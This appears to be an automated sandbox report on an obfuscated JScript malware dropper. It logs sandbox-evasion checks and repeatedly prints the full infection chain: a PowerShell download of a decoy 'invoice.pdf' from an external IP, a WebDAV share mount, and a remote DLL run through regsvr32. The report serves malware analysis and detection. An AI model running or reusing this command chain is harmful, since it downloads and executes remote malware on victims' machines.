Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\3007.js.csv");ITextStream.WriteLine(" entry:7855 f:qlzabkxit");ITextStream.WriteLine(" exec:2 f:qlzabkxit");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49788

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3605			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5089			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1384	Thread sleep count: 3605 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1384	Thread sleep count: 5089 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1704	Thread sleep time: -12912720851596678s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 520	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4220	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2132	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 1616	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 4112	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_ComputerSystem
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_ComputerSystemProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_ComputerSystemProduct

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: svchost.exe, 00000009.00000002.2615239108.0000025BDA82B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWP
Source: net.exe, 00000007.00000002.1453607406.0000028FED20C000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1453607406.0000028FED1A8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2616072213.0000025BDFC59000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: wscript.exe, 00000000.00000003.1328547693.00000234C0DB4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: _NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\163462321827713.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\163462321827713.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\163462321827713.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\163462321827713.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
